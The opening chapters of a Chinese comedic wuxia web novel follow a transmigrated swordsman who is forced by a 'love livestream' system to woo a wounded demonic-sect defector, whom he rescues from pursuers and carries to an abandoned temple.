《练剑不如谈恋爱》
1. 剑客恋爱直播间
赵惊弦从小就喜欢武侠小说,最爱白衣如雪的剑客,连玩武侠游戏时,他选择的,都是最符合他心中憧憬的剑纯。
在他意外穿越武侠世界后,他苦练剑法,收集名剑,二十六岁时,赵惊弦已是江湖第一剑客,他终于功成归隐,在山间搭了一方竹庐,与剑相伴。
他本想安度余生,直到一日清晨,赵惊弦早起练剑,刚睁开眼睛,就看见几个字凭空砸在了他面前。
【恋爱直播间:必须恋爱的剑客与不想恋爱的魔头】
赵惊弦:“?”
这是什么?
这都穿过来十年了,怎么还能在这时候触发新剧情啊!
-
赵惊弦沉默看完了空中飞快闪过的文字规则。
总而言之,他的穿越,是有一点代价的。
他被穿越者直播间选中,成为了恋爱频道主播中的一员,他的恋爱生活将被展示给异世界的观众,根据他获得的观众喜爱值换取积分,用来兑换直播系统为他们准备的各种奖励。
如果他不能完成直播任务,他就会受到这世上最可怕惩罚——他会失去一柄他收藏的爱剑。
赵惊弦的天,突然就塌了。
奖励商城他看过,有个宝剑盲盒,他很有兴趣,而直播的惩罚,更是狠狠卡在了他的命脉上。
他珍藏那些心上剑,每一柄都是他的真爱他的命,无论失去哪一柄,他都会心如刀绞,辗转反侧,彻夜难眠——
叮。
耳边突然跳响提示音,赵惊弦猛然抬头,看向半空。
【限时直播任务:找到直播间的另一名主角。】
【人物资料:魔教副使谢厌
所处地点:长空山凤尾驿
任务倒计时:十二个时辰】
赵惊弦:“……”
赵惊弦头疼。
谢厌这个人,他听说过。
那是魔教内最疯的恶犬,如今邪道的十恶之首,连魔教新登位这位教主的恶名都在他之下,正道人大多谈之色变,只敢在私下说几句无聊的冒昧话。
——据称谢厌是个美人,这部分赵惊弦不怎么关心;听闻谢厌用刀,赵惊弦觉得他比较没品,剑才是百兵之君,刀算个什么玩意;至于江湖上其他与谢厌有关的传闻,赵惊弦就更不在乎了。
人的八卦传闻,赵惊弦没兴趣。
剑的轶事美谈就不一样了,他可以不吃不喝听十二个时辰不休息,连茅厕都可以不去!
赵惊弦又仔细看了看半空的字迹。
看文字描述的意思,他得在限定时间内找到谢厌。
长空山凤尾驿离这儿不算太远,快马加鞭半日路程,只是……他与谢厌本不相识,这直播系统竟然要他找这个人谈恋爱,啧,有些难以想象。
赵惊弦站起了身。
可为了他的爱剑。
恋爱而已!忍辱负重罢了!
他可以努力!
-
谢厌拄刀踉跄行至凤尾驿,便再也走不动了。
他从教中夺了两匹好马,离教十里,被乱刀砍死了一匹,另一匹也跑断了气,这一路拼杀,他毒血上涌,头昏目眩,只得在倚着树下,勉力抬首。
至少他为自己的选的绝命之地,还算不错。
四下是一片竹林,遥遥地听见流水声响,只可惜他不喜欢今日这夜色,月光隐在云后,他厌恶这昏暗,可人之将死,也挑剔不得,谢厌便将长刀放在身侧,微微阖目,恢复体力,等着追兵行至。
约莫一刻钟后,竹林四面脚步声起,无数人将他包围其中。
谢厌微微睁眼。
数不清的火把晃得他目眩,他看见左首那人是教中刑堂的周堂主,右侧的是青龙堂的许长老,稀奇的是左右二位护法,竟齐齐都到了此处。
——看来他那位教主师兄为了抓他下了血本,教中排名前几的好手,倾巢而出。
谢厌拄着刀鞘起身,可刀鞘上沾了太多的血,腻着不住打滑,他试了几次,勉力提气,却眼前一黑,呕了几口血。
他内伤太深,毒血已攻心脉,拖到此刻,实在无力再抵抗,却也不甘心就这么认输,咬着牙忍着昏眩将长刀横在身前。
魔教中人,都见过谢厌的刀法,一见谢厌横刀,便铮铮铮地拔出了兵刃来。
气氛剑拔弩张,却不知何处传来金铃微响,几名武功高深之人不由齐齐抬首,向上看去。
昏暗树影之中,有一名白衣剑客,踏在竹梢之上,剑上系着铃铛的剑穗随风而动,带出些细微的清脆声响。
他垂首,目光幽深,居高临下。
——正看着他们。
-
赵惊弦赶了一日路,终于到了凤尾驿。
一路行来,他见着了不少赶往此处的江湖中人,寻了名消息灵通的丐帮弟子问消息,这才得知三日之前,谢厌叛出了魔教。
魔教教主派了数名好手捉他归教,武林盟则觉得他失了魔教庇护,想要替天行道,将这魔头斩杀于此。
谢厌受正邪两道追杀,受了极重的伤,大概是离不开凤尾驿了,江湖上便又来了许多想捡个便宜的投机之徒,毕竟谢厌名声在外,若能亲手杀了他,必然声扬江湖,能成一代名侠。
待赵惊弦赶到凤尾驿时,这地方的江湖人,已聚得快比武林大会还多了。
谢厌在哪里,他根本不必费心去找。
寻着人最多的地方去,进了一处竹林,好歹魔教此番来的好手比较多,竹林内他们占了上风,将谢厌围在其中,以至赵惊弦觉得自己若再晚来一步,他恋爱直播的第一个任务便要失败了。
他并未特意隐藏行踪,已有数人发现了他,赵惊弦便直接落下竹梢,正在谢厌身前,回眸看了谢厌一眼。
反正他能带谢厌全身而退,不必太过担心,他更好奇这个和他一样被恋爱直播系统选中的倒霉蛋,到底是什么模样。
眼前的青年束发散乱,素白的长发上沾满血迹——
等等……白发?
“你……”赵惊弦有些不可置信,“是谢厌?”
谢厌不识得他,斜斜睨着眼看他,并不作答。
赵惊弦的目光,又在谢厌那百分百适配白衣剑客白发高束的马尾上扫了一圈。
“嘶……”赵惊弦绕着谢厌走了半圈,“这白发……怎么弄的?”
谢厌:“……”
赵惊弦:“好帅,教教我!”
谢厌:“……”
魔教众人:“?”
-
四下一片寂静,过了片刻,魔教的许长老先开了腔。
“圣教要清理门户。”许长老还算客气,“无关人等,还是快些离去吧。”
左护法点头:“许长老说得对。”
赵惊弦没理他。
他恋恋不舍将目光从这漂亮的白发马尾上移开,极快速地在谢厌身上扫了一眼。
呼吸不稳,下盘轻浮,看来是
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受了重伤,这小子穿黑衣,不太看得出伤在了何处,可唇边带的是黑血,应当还中了毒,此刻只是死撑。
身形不错,练武应该下了狠功夫,手中的刀看起来也不错,很锋利,就是没品了一些,这么好的年轻人,怎么就练了刀呢。
右护法语调倨傲,有些不耐:“阁下一人一剑,若不想死,还是快些滚吧。”
左护法点头:“右护法说得对。”
赵惊弦仍旧没有理会他们。
江湖人总说谢厌是个美人,他便特意多看了谢厌的脸一眼。
嗯……有鼻子有眼,是个人。
——但显然不及他藏剑半分美丽。
谢厌忍不下去了。
他强压下翻涌内息,问:“阁下是何人?”
“你好。”赵惊弦立即热络回答,“我是系统发给你的恋爱对象。”
谢厌:“……”
魔教众人:“?”
这人,不会脑子有病吧?
-
谢厌顿了片刻,觉得自己可能是受伤太重,出现了奇怪的幻觉。
谢厌再问:“阁下是何人?”
赵惊弦:“啊?是直播的另一个主角,你的恋爱对象。”
谢厌执着重复:“……阁下是何人?”
赵惊弦:“……”
赵惊弦终于开始觉得有些不对。
为什么谢厌看起来好像对这倒霉直播全然不知?
他找错人了?这人不是谢厌?
还是说……
直播这件事,根本只有他一个人知晓。
赵惊弦倒吸了口凉气。
“你是谢厌?”赵惊弦挠了挠头,“我没找错人吧。”
谢厌轻哼一声,抬手抹去唇边血迹,冷冰冰扫了赵惊弦一眼。
他这神色惊得几名魔教教众不住后退,只知若不是今日谢厌身受重伤,眼前大概便要见血了。
察觉到那眼神中的杀气,赵惊弦也默默放下了紧张挠头的手。
很好,看来谢厌对此事一无所知,还不怎么想要配合。
这可是件麻烦事,他没有与人相恋的经验,靠他一人努力,此事只怕难如登天……
半空忽而一闪,飘过几个大字,与仅有十秒的倒计时。
【直播即将开始,请主播做好准备】
赵惊弦:“……”
没办法了。
为了不失去爱剑,他,赵惊弦,将付出所有!
首先,他得给谢厌留下一个好印象。
俗话说,微笑是最美的语言,真诚是最打动人心的力量,这两条社交法宝让他在江湖上无往不利,在面对恋爱难题时,他相信一定也能有奇效。
“对不起。”赵惊弦对谢厌露出灿烂笑意,“我以为你是知道的。”
谢厌挑眉:“你是何人?”
赵惊弦目光熠熠,抱拳作揖:“在下赵惊弦。”
谢厌:“正道第一剑客。”
赵惊弦:“是。”
谢厌冷冷地问:“正道惺惺作态,恨不得将我断骨抽筋,你竟然想救我?”
赵惊弦诚挚作答。
赵惊弦:“魔……谢副使!在下并非想要救你。”
谢厌:“滚。”
“在下只是想与你——”赵惊弦面带灿烂笑意,语调真诚,“——谈一场惊、天、动、地的恋爱啊!”
谢厌:“……”
魔教众人:“?”
2. 努力恋爱
赵惊弦话音方落,眼前便飘过了几行字迹。
【哇,新直播!看到标题我啪地一下就点进来了!】
【一上来就这么刺激?】
【这个白衣是主播吗?好帅,期待了!】
【后面有个战损黑衣美人哎,天啊天啊这战损斯哈斯哈,不会是另一个主角吧?】
【天啊这是我近期看到的直播里颜值最高的一对了,好期待!不要让我失望啊!!!】
【感谢用户[鸭头你也真是的]送来的[入门秘籍],观众喜爱值+1】
【当前观看人数:10】
赵惊弦怔了怔。
这应该是直播间内的弹幕,后面那句话,则是直播间内观众给他的打赏。
他什么都没做,这样都能获得观众的喜爱值?
这事情……原来这么简单?
赵惊弦立即满怀期待看向谢厌,等待他倾情告白后,谢厌为之动容的反应。
片刻沉默,谢厌忽视了赵惊弦。
他只当面前并无此人,冷冷看向魔教教众:“你们是要站一整天,还是一起上?”
赵惊弦:“啊?谢副使?谢副使?我在这儿呢谢副使!”
许长老也忽视了赵惊弦。
他说话温和,又总是一副笑眯眯的模样,在江湖上有个笑面阎罗的称号,今日明明已到了生死相搏的地步,他说话倒还是很客气:“谢副使,教主只是想与您谈一谈,大家还是不要争斗了吧?”
左护法点头:“许长老说得对。”
赵惊弦开始挠头:“不对啊,我还在这儿,你们看不到我吗?”
谢厌冷声:“何必废话。”
许长老叹气:“谢副使,多年共事,许某不想对您动武。”
谢厌将刀锋抬高些许,刀上寒光一闪,魔教中人不由又后退了几步。
右护法愠道:“和叛教之人多说什么废话,杀了他便是!”
左护法点头:“右护法说得对。”
“啊,不是,你们……”赵惊弦在一旁用力挠头,还将手在谢厌面前晃了晃,“谢副使?我是赵惊弦,嗨,我姓赵,滋奥赵,赵惊弦,我剑法很好,我可以帮你,咦,谢副使?你为什么不看我,你听不到吗?”
谢厌:“……”
许长老:“……”
魔教众人:“……”
又是片刻死寂。
右护法开腔大声道:“这恶贼受了重伤,老许,趁着这机会,你我一道合力,将他拿下!”
许长老:“唉,看来此事是不能善了了。”
“不急。”一直沉默的周堂主说道,“教主说了,他身中之毒,每隔一月,便需要服用解药,否则毒发之时,痛得像是万虫噬骨,哪还有力气与你我打斗。”
谢厌:“……”
“他已现白发,将要毒发了。”周堂主又轻轻笑了笑,“你我只需守在此处,等着他——”
赵惊弦忍不下去了。
他回眸看了谢厌一眼,谢厌脸色惨白,握刀的手轻微发颤,显然已要撑到极限了。
若谢厌死在了此处,他便要当场失败,他不仅抽不到他的宝剑盲盒,还可能失去他所有爱剑。
想到这可怕未来,赵惊弦倒抽了口凉气,一手拍在剑鞘之侧,鞘中之剑受震铮鸣,长剑锵地一声自鞘中跃出,恰乌云散去,清寒的月光洒落在他的剑锋之上,他伸手将剑握住,压下剑尖,挑眉道:“你们是不是忘了我还在此处。”
魔教众人这时才被迫将目光转向这个怪人。
这人到底是谁啊!
传闻中的正道第一剑客,不可能这么不正常吧!
-
赵惊弦说完这段话,飞快抬眸,偷偷看向半空的字迹变化。
果然不出他所料,半空中又接连飘过了数行字迹。
【天啊这拔剑也太帅了】
【好帅好帅啊!!】
【不是,主播也太憨了吧,cp感我是一点没看出来,还以为我误入了隔壁的喜剧片场。】
【战损美人果然是另一个主角吧,斯哈斯哈还是魔教的战损美人!!!正邪cp永远的神!】
【感谢用户[过少爷生活]送来的[入门秘籍],[鸭头你也真是的]送来的[一口铁剑],观众喜爱值+6】
【当前观看人数:31】
赵惊弦自信微笑。
看吧,他就说这件事,一定很简单。
以他的天赋,轻而易举就能刷爆积分,将他心爱的宝剑盲盒换个干净!
魔教的许长老勉为其难看向赵惊弦:“阁下是……”
赵惊弦挑眉:“在下赵惊弦。”
许长老:“你真的是……”
赵惊弦:“当然是。”
许长老:“……”
许长老和身边几人交换了一个意味深长的眼神。
“想不到。”右护法嗤笑,“正道第一剑客,竟然是个断袖。”
赵惊弦:“?”
“断的竟然还是谢厌。”周堂主也笑了笑,“谢副使,您突然出逃,教主已经很生气了,眼下这一出……不知又得为您多添几条罪状。”
左护法:“对啊,对,对。”
“赵惊弦,正道规矩甚多,此事若是外传,只怕有损阁下声名吧。”许长老客客气气说道,“江湖中断袖喜好男风的,也不在少数,你又何必——”
“什么断袖。”赵惊弦义正词严,“我不是断袖!”
许长老:“你方才可说了……”
赵惊弦:“我与他,是真爱!”
谢厌:“……”
“他是男是女无所谓,是正是邪我也不在乎。”赵惊弦说道,“此后余生,我必将与他红尘作伴,潇潇——”
身后当啷一声兵刃落地,赵惊弦心中一惊,匆忙回首去看。
谢厌昏了过去。
赵惊弦:“……”
赵惊弦认真思考。
这位谢副使,看起来很清瘦,应当不会太沉。
可这人的身量与他相当,人昏迷时全无知觉,他若想搬动,只怕有些困难。
他要是抱起谢厌,嗯……两只手受限,打架太麻烦,逃跑也不快,可若是不抱吧,昏迷之人浑身软绵,他一定扶不起来。
眼前魔教之人太多,很难在短时内全部击退,谢厌还是毒发昏迷,他得尽快带着谢厌去寻个大夫,他已没有时间在此处拖延了。
赵惊弦沉思三秒,忽而伸手将人一把捞起,如同麻袋一般,扛上肩头,拔腿就跑。
来不及反应的魔教众人:“?”
-
赵惊弦剑术极高,轻功在江湖上也能排进前十,他若全力逃窜,寻常之人,根本追不上他。
今日他肩上多扛了一个谢厌,拖累了一点他的速度,魔教中人却也追不上他。
他奔到竹林之外,未曾见人追上,松了一口气,还来不及辨明方向,忽听一人惊喜唤他,道:“赵大哥!这么巧!”
赵惊弦:“……”
是很巧。
听声音,这人像是他早年在江南结交的朋友,落梅山庄精通医术的小少爷余渡。
“赵大哥,你也是来追杀那魔头的?你这扛的又是何物?”余渡叹了口气,“若我知道盟主请了你做帮手,那我便不来凑这个——”
赵惊弦扛着谢厌转过了身。
余渡怔了怔:“这是哪个门派的兄弟?受伤了?”
赵惊弦想,余渡平日不在江湖上走动,江湖上也并无谢厌的丹青画像流传,余渡应该是不认识谢厌的。
谢厌毒发,需要大夫诊治,余渡正好精于医术,这可是个好机会。
赵惊弦立即点头:“是。”
余渡听闻有人受伤,不免焦急:“赵大哥,快放下,让我看看。”
赵惊弦扛着谢厌到道旁放下,方觉自己肩上已全是血迹,衣襟也已染红大片,全是谢厌伤处流出的血,他这才惊了一跳,想起自己方才扛起谢厌时,竟忘了先为他封穴止血。
余渡:“这人伤得太——”
余渡倒抽了口气,惊愕睁大了双眼。
余渡:“赵大哥,这这这……这不是谢厌吗?”
赵惊弦:“……”
失策了。
这小子,他怎么会认识谢厌啊!
-
余渡探出脑袋,朝这道路两头看了看。
这地方虽然偏僻,可如今凤尾驿挤满了江湖人,此处保不齐便会有什么江湖人路过,余渡很紧张,他
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盯着谢厌的脸看了片刻,深吸了口气:“赵……赵大哥……你捉到他了?”
赵惊弦:“……”
余渡:“不对,他伤重昏迷,你扛着他,专往偏僻处躲,你……你你你……江湖上的那些画册……说的不会都是真的吧……”
赵惊弦:“?”
“遇见受伤的魔头美人,将……将他……带到无人之处……”余渡咽下一口唾沫,语调越发尖锐,“赵大哥,没想到你是这样——”
赵惊弦:“……”
余渡忽而停顿,满怀惊恐看向赵惊弦。
“如……如今我撞坏了你的好事,你是不是也要……要对我……”余渡也不知是想到了何事,面色苍白,步步后退,见赵惊弦还要朝他靠近,他克制不住发出尖叫,“啊!!!你不要过来啊……”
赵惊弦:“……”
赵惊弦抬手,一手刀将余渡劈晕了。
他可还在躲避魔教追捕,余渡喊得这么大声,若是将人喊过来了怎么办?
至于方才余渡说的话……
他一句也没听不懂。
可不要紧,有什么事,可以待会儿再解释。
反正扛一个是扛,扛两个也是扛。
他先寻个僻静之地,将余渡与中毒的谢厌带过去再说。
赵惊弦封了谢厌几个穴道,暂先替谢厌止了血,将谢厌扛上肩头,想了片刻,他需要腾出右手用剑,那这余渡……
罢了,反正这人健康得很,拖一拖也伤不了。
他用左手拎着吧!
赵惊弦迈步离开竹林,又瞥见了几行飘过去的字迹。
他此刻心急,来不及细看,只是匆匆一瞥。
【好怪的画面……少侠真是好臂力啊……】
【我看的真的是恋爱直播吗(瞳孔地震(退出反复确认(真的是(瞳孔无限地震】
【啊?画册,什么画册?】
【把受伤的魔头带到没有人的地方……】
【不是,你说的这个画册,它真的正经吗?】
赵惊弦:“?”
-
赵惊弦不敢在凤尾驿多留,他带着余渡与谢厌,施展轻功,离开凤尾驿十数里后,才停下脚步。
他寻了个废弃已久的破庙,找着了几张破床,拢了些稻草,铺在床榻上,脱了自己的外袍充作床单,将谢厌抱到了床上。
他又将昏迷不醒的余渡也拖进屋中,在余渡身上搜寻片刻,找着了几瓶专疗外伤的金疮药,赵惊弦才稍稍松了口气,觉得谢厌这条命,终于能再稍微拖得久一些了。
谢厌仍旧昏迷不醒,脸色比起在凤尾驿时,好像还要更差一些,原先苍白如纸的脸上泛起病态的殷红,赵惊弦伸手试了试他额间,入手一片滚烫——
谢厌好像在发烧。
赵惊弦不通医理,只能猜想。
这高烧应当是因伤而来,他得先为谢厌清理伤口,处理妥当之后,再将余渡弄醒,让余渡来处理接下来的问题。
此事本不算太难,行走江湖多年,赵惊弦也受过不少伤,他早见得多了,可解开谢厌衣襟之后,他倒还是怔了怔,一时有些无措。
谢厌身上大大小小的伤口少说也有十数处,这还是这几日的新伤,旧伤更是数不胜数,其中有些伤口,赵惊弦根本不知道是怎么弄出来的。
他扶起谢厌,想看看谢厌背上是否也有伤口,可这手方才碰到谢厌的皮肤,眼前噌地就出现了一行滚动绿色大字。
【倡导绿色直播,建设文明网络——】
赵惊弦吓了一跳,猛地缩回手,那行绿色大字忽然就从他眼前消失了。
赵惊弦:“?”
赵惊弦伸手。
【健康的网络环境,需要你我的共同——】
赵惊弦缩手。
【屏幕怎么黑了,主播干了什么?】
【哎?好像又恢复了?】
赵惊弦伸手。
【——需要你我的共同努力,恋爱直播间禁止一切脖子以下的亲热行——】
赵惊弦噌地缩回了手。
等等?!
这是什么啊?!
这都是恋爱直播间了!
怎么连脖子以下的亲近行为都不能有啊?!
3. 直播间封禁
赵惊弦不知道能在哪儿关闭这个破直播。
他干脆无视半空字迹,揽着谢厌的肩,让谢厌半靠在他怀中,看向谢厌的背。
与大多习武之人相比,谢厌很清瘦,瘦削的脊背线条极为清晰,背上除却一道并不严重的擦伤外,最引人注目的,是自脊背往下蜿蜒大片的细长伤痕。
这伤疤已有些时日,边缘微凸,交错重叠,看起来很像是惩罚或是受刑留下的鞭伤……可谢厌是魔教副使,他是先任教主的得意弟子,又很受如今的教主器重,赵惊弦想不出有谁能这样为难他。
他的思绪只持续了片刻,耳边忽而响起了一声尖锐提示,将他的注意拉回了现实。
【主播已违反直播规定,直播间暂时关闭】
【本次直播未达到最低直播时间,将不被计入有效直播,扣除所有直播奖励,当前主播获得观众喜爱值:0】
赵惊弦:“?”
啊?什么直播有效时间?
最开始的直播规则里,真的有提到过这玩意吗?
-
时间不多,谢厌的伤口还在流血,赵惊弦实在没功夫去翻看直播规则,他先为谢厌包扎好了身上的伤口。
余渡的伤药效果极好,血立即止住了,他便又看向谢厌的腿……这小子都伤成这样了,他腿上不会也有伤吧?
虽说江湖儿女不拘小节,可见面第一天就扒人裤子……好像不大好。
可他是为了给谢厌治伤,这是不得以而为之,谢厌应该不会怪他,若是谢厌腿上没伤,他把裤子给人穿上不就好了!
想到此处,赵惊弦朝谢厌的裤带伸出了手。
身后突然传来一声低弱呻吟,赵惊弦回过头,正见余渡捂着后颈迷迷糊糊抬首,朝他与谢厌看了过来。
赵惊弦:“余兄弟,你醒了就好——”
余渡倒抽了口气:“你……你们在做什么?!”
赵惊弦:“啊?”
余渡:“你你你……你对谢厌……”
赵惊弦:“余兄,方才之事——”
余渡:“停!”
赵惊弦:“——我是可以解释的。”
余渡:“你……”
赵惊弦:“我知你对谢厌有误解,可——”
余渡:“你不要过来啊!!!”
赵惊弦:“?”
“兄长与我说,那些画册上的东西,都不是真的。”余渡惊慌失措,死死攥紧自己衣襟,蜷缩着仓皇后退,情绪极为激动,“他……他不信他的死敌会对他有那种想法,他不相信江湖上会有这种事……”
赵惊弦:“什么事?”
“赵大哥,你怎么会是这种人!”余渡越发激动,“我以为你是正人君子!士可杀不可辱,你……你若是要对我……我宁愿一头撞死!”
赵惊弦:“啊?”
什么撞死,怎么就要撞死了?
余渡为何如此激动?他不会真想不开轻生吧?
赵惊弦虽然摸不着头脑,可这种事他绝不能坐视不理,他得想办法让余渡冷静。
赵惊弦:“你——”
余渡尖叫:“啊!”
赵惊弦:”这——“
余渡:“啊啊啊!”
赵惊弦:“……”
余渡:“我不是那种随便的——”
赵惊弦:“……”
赵惊弦一手刀劈晕了余渡。
-
屋中终于安静了。
赵惊弦松了口气,可他还是不放心。
他不可能一直盯着余渡,若余渡醒来后还想不开便糟了,他得让事情稳妥一些,先将余渡控制住再说。
屋中没有麻绳,赵惊弦也不会随身携带此物,他想撕开衣物充作绳索,可他的外袍被压在谢厌身下,他总不能将自己的里衣也脱了。
谢厌的衣服上全是血,余渡的衣服却很完好……赵惊弦登时有了主意,伸手解了余渡外袍,撕作布条,将余渡捆了个结实。
捆人这种事,行走江湖时,赵惊弦做得多了。
他手法娴熟,余渡绝不可能挣脱,他还顺带点了余渡的穴道,省得再出什么意外,待一切处理妥当,赵惊弦十分满意,拍拍衣上尘土,起身回眸,恰对上了身后谢厌的目光。
赵惊弦:“……”
谢厌:“……”
赵惊弦对谢厌露出了僵硬却灿烂的笑。
谢厌皱了皱眉,他浑身无力,内息散乱,声音便也显得甚是虚弱,勉强撑着床侧起身,语气却明显带刺:“……怎么是你?”
话语之间,他伸手向床头,摸索片刻,一无所获。
赵惊弦一见谢厌这动作,就知道他一定是在找他的刀,赵惊弦自己也总是如此,醒来后第一件事,总是伸手向床头,先去寻自己的剑。
合格的剑客理应如此,合格的刀客,当然也该如此。
赵惊弦对谢厌终于有了几分欣赏。
虽然这人是有些没品,竟然喜欢用刀,可真心待刀爱刀之人,他也还是赞赏的。
赵惊弦面带笑意:“谢副使,你放心,你的刀——”
等等,谢厌的刀呢?
赵惊弦的笑容,僵在了脸上。
在竹林时,谢厌长刀落地昏迷,赵惊弦扛起谢厌就跑,至于谢厌的那柄刀……
完了。
他是救了谢厌,可他把谢厌的刀丢了啊!
谢厌冷冷看着他,赵惊弦根本不敢承认自己犯了如此惊天的大错,可这事是糊弄不过去的,大错已然酿成,他只及时道歉,再好好补偿谢厌。
赵惊弦愧疚垂下脑袋,诚恳道歉:“……对不起,我把你的老婆弄丢了。”
谢厌攒眉:“何物?”
赵惊弦这才发觉自己又说错了话,匆忙改口:“你……你的刀。”
谢厌:“……”
“当时场面太混乱,我只顾着带你离开……”赵惊弦试图补救,“谢副使,你放心,我会将你的刀找回来的!”
谢厌:“……不必了。”
赵惊弦:“……”
赵惊弦明白。
他确实已不必回去找谢厌的刀了。
他扛着谢厌逃走时,竹林内还有那么多魔教人,谢厌的刀当然已被人捡走了,就算他现在返回竹林,也不会有任何用处。
赵惊弦只得忍痛咬牙,狠下决心。
他弄丢了别人的爱刀,这本就是他应得的惩罚。
他得给谢厌留个好印象,在这种事
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上,他绝不能抠门吝啬。
“好。”赵惊弦大声说道,“谢副使,我可以赔你一个老婆!”
谢厌心中一惊,以为赵惊弦又要口出癫狂惊人之语,说自己就是赔给他的老婆,吓得他在床上蜷着腿往里缩了一些,极警惕盯住了赵惊弦接下来的动作。
他先看到赵惊弦解剑,押在他床上,一副要脱衣的模样,令谢厌不由再往床内躲了躲。
可他如今伤得实在太重,只是这么一点小动作,伤处便已疼得令他不住吸气,他又没有武器在手,若赵惊弦还要胡闹发疯,他确实……不知自己还能如何才好。
下一刻,赵惊弦伸手去解自己的腰带,他从腰封内抽出一柄软剑,放在配剑一旁,在左右护臂内各抽出一柄仅有巴掌长的短剑,横在软剑之上,接着又在半敞的怀中摸索片刻,叮叮当当不知从何处掏出了数柄短剑,在床榻上放作一堆。
“这……这都是我的爱……爱剑!”赵惊弦极为心痛,“你挑一柄吧!”
这人,他就是有病吧!
-
谢厌沉默捂着腹上伤口,艰难起身。
他身上全无气力,伤处又实在太过疼痛,下床时腿软得险些跌倒,赵惊弦匆忙伸手去扶,道:“谢副使,你身上有伤,还是先躺下吧。”
“……惺惺作态。”谢厌语调冷淡,“你想要什么?”
赵惊弦:“啊?我不想要什么啊?”
“正道之人总爱假作慈悲。”谢厌挑眉,“你特意救我,总有所图。”
赵惊弦:“我没——”
谢厌轻嗤一声:“怎么,是要拿我去武林盟邀功讨赏?”
赵惊弦:“我没有!”
【直播已重新开启】
【请主播珍惜直播机会,建设文明绿色网络,维持健康网络环境。】
【当前观众:7】
【刚刚直播怎么黑了?现在又是怎么一回事啊?】
【发生什么了?怎么就衣衫不整抱上了啊?!】
【刚来,这是在干什么?】
【受不了隔壁拖拖拉拉的节奏了,这边进展如何?快吗?】
赵惊弦:“……”
赵惊弦立即改口:“我确有所图。”
谢厌冷笑:“你们这些正道伪君子——”
赵惊弦:“我图你。”
“——果真是无利……”谢厌明显一僵,略有错愕睁大双眼,“你……什么?”
“图你。”赵惊弦硬着头皮胡编,“在这江湖之中,我想要的,只有你。”
谢厌:“……”
谢厌起了一身鸡皮疙瘩。
他努力想要推开赵惊弦的手,可他受伤太深,身上全无气力,连大声骂人一句都做不到,反被赵惊弦握住了另一只手,紧紧攥在手心。
赵惊弦:“谢副使,在竹林时,在下便已说过了。”
谢厌咬牙:“……咳……闭嘴!”
赵惊弦:“若你不信,我可以再说一次。”
“滚开!”谢厌竭力压下咳喘,努力想将自己的手抽出来,“听你废话,脏了我的——”
赵惊弦握紧谢厌的手,大声说道:“谢副使,请你和我恋爱吧!”
谢厌:“……”
4. 追爱而已!
谢厌咬牙切齿。
若不是他有伤在身,他非得将这人千刀万剐,一寸一寸剁碎。
“……少在我面前自作多情。”谢厌满面愠色,“滚!”
赵惊弦恍然大悟:“对哦!”
谢厌说完这话,胸口钝痛忽地加剧,令他不由停下话语,勉强喘了几口气。
赵惊弦全无察觉。
他仍紧紧握着谢厌的手,面上带着极灿烂的笑:“谢副使,是我冒昧了。”
谢厌竭力想要推开他:“松手!”
赵惊弦立即松开了手。
他还担心谢厌腿软摔倒,一手拦在谢厌身后,看谢厌扶着床榻坐下,暂时没有要离开的意思,他才松了口气:“对不起,我是第一回,我没有经验。”
谢厌:“……”
谢厌突然有了些不祥预感。
赵惊弦:“是我吓着你了——”
身后传来几声闷哼,谢厌与赵惊弦一块回过头,被捆得严严实实的余渡,睁大了双眼,正惊恐不安看着他们。
赵惊弦:“……”
该死。
余渡怎么醒得这么快。
这小子今日有些神经错乱,不是要撞死就是要大喊,现在又是他对谢厌表白的紧要时刻,总不能让余渡将此事打乱了。
他分不出心去处理余渡的问题,最好还是先让余渡晕着,等谢厌接受他后,再将余渡弄醒,好好与余渡谈谈心。
谢厌挑眉:“他是谁?”
赵惊弦:“这不重要。”
说完这话后,赵惊弦站起身,朝着余渡走去。
“你……你们两……”余渡猛地抽气,想起自己醒来时听到的只言片语,很是震惊,“你们怎么不穿衣服啊!”
赵惊弦:“?”
谢厌:“……”
赵惊弦很迷茫:“难道应该穿衣服?”
他在给谢厌处理伤口,这种事,还能穿着衣服做?
余渡倒抽了口凉气,谢厌也不由皱眉,只有赵惊弦全然不觉,十分困惑:“就算是你,这种事,也得脱了衣服做吧?”
余渡的脸色唰地惨白,他被赵惊弦点了穴,连垂死挣扎都做不到,只能努力瞪着赵惊弦,慌得语无伦次,胡乱嘟囔。
“你……你不要过来……呜……我就知道会是这样,江湖太过险恶,进了江湖就一定会如此……”余渡的语调中甚至带了几分哭腔,“我兄长……兄长不信此事,他总觉得他与他那宿敌……”
谢厌好歹是个见多识广的邪道人,他立即明白了余渡惧怕的原因,嫌恶挑眉,道:“你误会了。”
“我怎么会误会!你们是如此……江湖……江湖总是如此……”余渡已慌得语无伦次,声调越发尖锐,“兄……兄长也是如此……他……那天晚上……他分明……是从他屋内……”
赵惊弦:“……”
赵惊弦一步上前,飞快打晕了余渡,并点上了余渡的哑穴。
该死,他刚刚怎么就忘了封哑穴呢。
他们在这破庙之内躲着,本就是为了避开正邪两道追杀,余渡的声音这么大,若再惨叫上几声……赵惊弦真的很怕他引来什么不该出现的人。
赵惊弦紧张回首看向谢厌。
谢厌蹙眉问:“这是何人?”
赵惊弦讪讪一笑:“他叫余渡,是我为你找来的大夫。”
谢厌的神色微妙了一些:“落梅山庄的余渡?”
“是啊,他虽然不怎么离开山庄,但医术还不错。”赵惊弦说道,“本来想让他为你治伤,可他今日不知是怎么了,张口便胡言乱语,还会尖叫。”
谢厌:“……他兄长是你们正道姓余的那个神医?”
“对,他兄长是余清晚。”赵惊弦觉得谢厌在意正道神医,只会有一种可能,便拍着胸口保证,“放心,谢副使,我知道你身中奇毒,我与余清晚是生死之交,我与他说一声,他一定会愿意为你解毒的。”
“余清晚的死敌,是教中的……裴衡……”谢厌低声轻念,“他们两……怪不得裴衡总不在教中。”
“余兄好像是与魔教内的哪个人不对付,听说他两自幼相识,可惜后来那人走了邪道……”赵惊弦一顿,想起谢厌也是邪道,又立即改口,“当然,邪道也有邪道的好,正道规矩太多,还是邪道自由,哈哈。”
他干笑了两声,谢厌有些古怪看了他一眼,头一回没有带刺反驳。
赵惊弦觉得他开了个好头。
余渡这短暂的意外,倒是让他与谢厌之间的气氛和缓了一些。
他终于可以照着自己的计划行事,推进自己的恋爱计划了。
赵惊弦用力清了清嗓子。
恋爱的第一步,当然应该从相识开始。
是他没有恋爱经验,将表白摆在了相识之前,不过还好,表白过去也没多久,他现在自我介绍,应该还来得及。
谢厌:“……你又要做什么?”
赵惊弦理直气壮:“相亲,总是要先介绍一下自己的。”
谢厌一怔。
